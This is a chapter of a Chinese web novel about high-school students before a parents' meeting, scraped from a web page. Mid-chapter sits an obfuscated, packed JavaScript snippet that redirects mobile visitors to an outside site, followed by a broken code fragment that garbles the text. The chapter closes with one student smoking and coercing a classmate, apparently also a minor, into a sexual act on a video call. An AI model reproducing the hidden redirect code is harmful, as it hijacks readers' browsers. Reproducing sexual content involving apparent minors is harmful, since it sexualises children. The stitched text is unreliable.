92.黑色
作品:《疯子男A送上门》 要问学生讨厌什么事情,在讨厌作业和讨厌考试之间还需要纠结之下,因为这两点是光挑出一个都很讨厌,但要说最讨厌的绝对是家长会。
因为家长会就是公开处刑,相当于整个学期的事情都会被家长知晓,要真是打骂还算好的。关键在于能来和不能来的问题,不能来要提前请假,要不然就单独开个小会,能来的还要看来到对象,绝大多数都是爸爸妈妈,奈何有事的就是爷爷奶奶、哥哥姐姐……诸如此类。
老师会更倾向于爸妈来家长会,因为是孩子的第一辅导人,虽然别的亲属也算亲属但就不太方便说实情。而且学生之间还会进行攀比,渐渐的就会生成小话,然后就容易造成不和谐。
所以从多重角度出发都成为最讨厌的事情。
“家长会你们打算让谁来?”姚游挑起粉丝进嘴:“我妈明天会来。”
王藤咽下雪梨汤:“我爸为了我的家长会甚至请了年假,我都不敢置信。”
羡由说:“你不是有优干,而且这次考的也可以,没问题的。”
这一说直接给王藤说美了,浑身都在冒粉色小花花,之前没少因为调皮捣蛋招惹到街道,都快成小区名人了,这次总算能扬眉吐气一回。
他美滋滋地嚼丸子:“民众的帮助使我成功脱胎换骨了,先走一个。”
其他三人也很有眼力见,端起雪梨汤碰在一起。
麻辣烫店装潢是怀旧风格,裸露在外的大水管道极具特色,冷风也不知道从哪个犄角旮旯吹进来,还挺足,但也不会觉得冷。
因为每张桌子上都有在煮的麻辣烫,自己选菜没吃够也可以从里头进行挑选。
羡由刷手机也不忘跟他们聊天,然后就看到了刘录在班群里发送的通知,她顺势点开,招呼了一声说:“老班发通知了,家长会开始时间是明天下午的一点,开始前还需要去操场集合,然后才是各班的家长会。”
王藤划了两下屏幕:“这次整这么大,往常不都搁自己班里随便说两句。”
“总而言之就是集体的表彰大会,这下河马可不得指着大换血的荣誉墙大说特说。”姚游放下手机,又对羡由说:“家长会不还有各年级代表进行发言,老班给你发发言稿了吗?”
“给了。”羡由调出发言稿递给她。
王藤也感兴趣凑上去瞅了两眼,一声卧槽脱口而出:“这一看就不像你说出来的话,老班可真会找。”
“需要背吗?”姚游也觉得好笑,但她忍住了。
“当然了,你何时见过这种场合老班掉链子。”羡由从她手里拿过手机,“不过这点东西倒是也好背,忘了也没事,反正内容都差不多。”
姚游感叹道:“还得是你啊,临场发挥。”
还记得第一学期羡由作为新生代表上台发言,前一天刚下了一场大雨,操场到处都是水坑,只好进行室内,因为发言者要提前到演播室,不幸的事就发生了,羡由插兜走路的时候忘了稿子的事,导致手一拿出来稿子就掉出来泡水了。
要知道那是刘录现给的稿子,手机还被提前收起来了,演播室的提词器当时还连不上,由于播放是从准备开始,可把一班给急坏了。
谁知道她张嘴就来,全程一个大喘气都没有,就把稿子十多分钟的内容缩成两分钟完事。
这件事就成为了羡由登基称王的基石。
打破这场回忆杀的望全倒是显得有几分不安,他握紧筷子,凝视着只剩麻酱汤的盘子说:“家长会必须参加吗?”
王藤点头:“通知上写了必须参加肯定就必须,而且没来的家长还要单独开小会,总而言之就一定会开,单独多尴尬万一再说点小秘密可就完了。”
“你以为望全是你啊,人家刚来可没闹出麻烦事。”姚游习惯性怼了句,然后看向脸色难看的望全:“实在参加不了就跟老班请假,事事没办法都称心如意,大不了下次再参加。”
“真担心为何不问家里?你又不是家长怎么知道参不参加得了。”羡由咽下最后一口,用纸巾擦嘴:“老班会把通知再往家长群里发一份,这时候估计都知道了。”
脖子还在隐隐作痛,望全抿紧唇瓣用手机给望温发消息。
NN:妈,明天要开家长会
晚春:知道了,放心妈妈明天有时间保证准时到,到时候可要好好给妈妈介绍下同学和朋友。
晚春:尤其是那位对你多有关照的朋友,我听说了还是个女生,你要让着点人家知道了吗?
NN:知道了
晚春:那就好妈妈还有事先去忙了,对了晚上想吃点什么?
NN:都可以
晚春:我要是六点之前到家就做好吃的,没有的话你就订饭吃,别订垃圾食品知道了吗?
NN:嗯
望全按灭了手机,牵起嘴角的笑容告诉他们能来参加家长会。
他没有告诉望温他跟同学去吃了麻辣烫,在她那里这就属于没有营养的垃圾食品,晚上就随便找个话敷衍过去就可以。
这种应对方式不由得想起还在明苏的时候,他为了确保望温的情绪稳定,决定换个城市重新开始的看似正常实则荒谬的理由。
羡由刚把书包放下兜里的手机就响了,她拿出来一看。
NN:明天可以戴口罩去演讲吗?
NN:求你了
风筝:求人要有求人的态度
风筝:诚意.jpg
仗着家里没人,羡由换上家居服踩着拖鞋到阳台去抽烟,顺带拿着平板。
对面输入了多久,羡由就等了多久,半个小时过去了结果没音了,她也懒得等,用手机挂起综艺节目,用平板继续写进行到一半的剧本。
就这样进行了有一会儿,播放正好的视频一卡一卡的。羡由把笔吸槽里,捞过手机退出去软件点开微信,就见某人发来了一大串“对方已撤回”。
真的是灰色的已撤回,不是表情包。
搁这玩呢。
对方已撤回。
对方已撤回。
对方已撤回。
对方已撤回。
对方已撤回。
风筝:有完没完
风筝:你老实点不然就边待着
她觉得烦躁但也忍住了,不然就该发出“滚蛋”了。
NN:对不起
风筝:纠结道歉能撤回五次就只有你了
NN:不是其实是另外一件事
风筝:说
NN:补偿的事
NN:我实在是有点不知道该做什么
NN:你能告诉我吗?
羡由也只是随口一说,原本她就打算好好让望温看看“羡年”出现在三中是什么情景,但被望全一提,她忽然觉得换种方式也可以,毕竟人是固定的,或许这种差异带来的方式会更加别具一格,望尘莫及,她很期待。
所以手指在键盘上快速打出一横字。
风筝:做给我看
NN:什么?
能够感受到对面的不可置信,但那又如何,是他要说的,她可没有威胁他。
风筝:是你说的还记得吗?
风筝:提要求就要有理由,你也可以告诉我理由
对面没了回应。
羡由也把手机撇一边,本来就不急,何况这是你情我愿的事而非是愿打愿挨,那是犯贱,除非是有人上赶着。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291911|191320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过如果那件事没有被发现,或许现在就会不一样,她会因为望全身上的影子,宠着、爱护着对方。
可是她忘不了看到的蒙上红雾的花毯,生锈腐朽的游乐器材。唐宁所说的实验室是花园里的小木屋,原本是守园人的居住地,后来被程宇买下后就成了伤人的居所。
即使后来重新改造刷漆也掩盖不了脏污纳垢、血海噩梦。后来花园改迁,这里除了老朽的器械,还有崭新的小木屋,哪怕随着时间也会变得腐朽,就连来的人也出了念旧人,再无其他。
羡由深知过往云烟会随着时间烟消云散,但绝不会是现在,她是个坏人、烂人,所以她会用肮脏的手段为不健康的因果画上句点。
之后就用名为时间的飞毯,重新酿造全新的未来吧。
羡由在平板上写下最后一句话,然后关不上平板,放在桌上。许是心理重塑过健康了,对方甩过来展开的视频,她点了接通。
看环境是在自己的房间里,干净整洁到不太像是个男生的房间,羡由承认自己的房间都显得凌乱,但她随后的重点就落在那张床上,床单被罩是黑色的,而枕头则是蓝色的。
她看着震动的影像说:“在整手机支架。”
对面“嗯”了声,看样子是许久没用过了,不然也不会这么慢,也有可能是用来调整的时间。
羡由慢慢悠悠地吐出一口烟,望全调整好屏幕走过来就看见这一幕,烟尘迷糊了镜头,就愈发衬托出那双黑眸的冷酷,只是一下就看别处了。
一想到接下来要做的事要被那双眼睛顶着,身体就下意识发颤,上床的动作都变慢了。
“家里就你一个人?”羡由的声音从听筒里传出来。
望全又“嗯”了声:“为了明天的家长会,她在赶进度,要给你看凭证吗?”
羡由果断拒绝:“这不重要,准备好了吗?”
望全红了脸,调整好身体:“好,好了。”
虽然现在这种年纪对这种事有天生的好奇,尤其是不久前他也曾感受到,但隐晦的跟光明正大还是有不少的差距,而且他不知道为什么下意识就……就答应了羡由。
半天没听见声音,羡由施舍给屏幕一个眼神:“没感觉就去看片,别给我傻呆着。”
“抱,抱歉,我这就来。”望全眨了下眼:“你在外头?”
羡由说:“我在阳台。”
声音不大不小刚好能让望全听见,同时一声巨响从下头传来,其他人也听到动静探出窗外,羡由蹙眉向下看去,就见一男子操纵着一台老旧的爆米花机器在楼底下,周围围观了不少看戏的,兴致勃勃地看着新鲜出炉的爆米花。
望全的声音这时候从听筒里传出来。
他说:“能不能回屋里,求你了。”
委屈巴巴到哀求的转变就在一瞬间,一句话带了千万种祈求,羡由即使不看也能知道对面难堪的脸。
“行我回屋。”她带着电子产品返回房间。
火星在烟上冒起,她慵懒地靠在枕头上注视着屏幕里的一举一动,缓缓吐出一口烟,扫眼上方闪烁的红点,她道:“好好来,要是敢在我烟没灭你就结束,我会生气的,我生气你的要求我就达不到,虽然不知道你的打算,但我想麻烦会很大的。你要听话哦,望全哥。”
黑色的床单给予了无限的可能性,褶皱也好,颜色也好,全部都一览无余。
他在做,她在看。
没有比这更美好的事情了,羡由往烟灰缸里弹了弹烟灰,轻描淡写地指出问题所在,纠正起对面的动作。
以往是通过文字,如今能看到真实的动作和声音,没有比这更美好的事了。
不是吗。

